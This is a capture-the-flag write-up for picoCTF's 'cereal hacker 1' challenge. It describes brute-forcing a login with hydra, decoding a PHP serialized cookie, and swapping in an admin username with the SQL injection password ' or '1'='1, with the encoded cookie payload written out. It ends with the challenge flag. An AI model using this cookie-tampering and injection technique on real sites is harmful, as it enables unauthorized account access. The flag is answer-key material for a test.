cereal hacker 1
Problem
Login as admin. https://2019shell1.picoctf.com/problem/49879/ or http://2019shell1.picoctf.com:49879
Solution
Credential bruteforcing: The credentials can be found with
hydra
and thehttp[s]-{get|post}-form
module. Module help can be printed withhydra http-post-form -U
. This article about using hydra on a web-based login page was somewhat helpful in this step. Final command:Result:
Login as
guest:guest
.Get cookie
URL and Base64Decode:
Option 1: Use URLdecoder to decode the cookie twice then use base64decoder to decode what you get from URLdecoder to get:
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
Option 2: Use CyberChef with this recipe:
[{"op":"URL Decode","args":[]},{"op":"URL Decode","args":[]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]}]
.
Change that result to
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";}
(s:11
and nots:5
because the number corresponds to the length of the string which is PHP standard)Encoding
Option 1: Encode using base64encode to get
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTE6Iicgb3IgJzEnPScxIjt9
. If there are equal signs after the cookie is base64 encoded then run the base64 encoded string through URLencoder twice.Option 2: Use CyberChef with this recipe:
[{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}]
.
Set cookie to new cookie
Change URL to
file=admin
You got the flag
Flag
picoCTF{0d040919669d2bc1501212f90450eb4c}
Last updated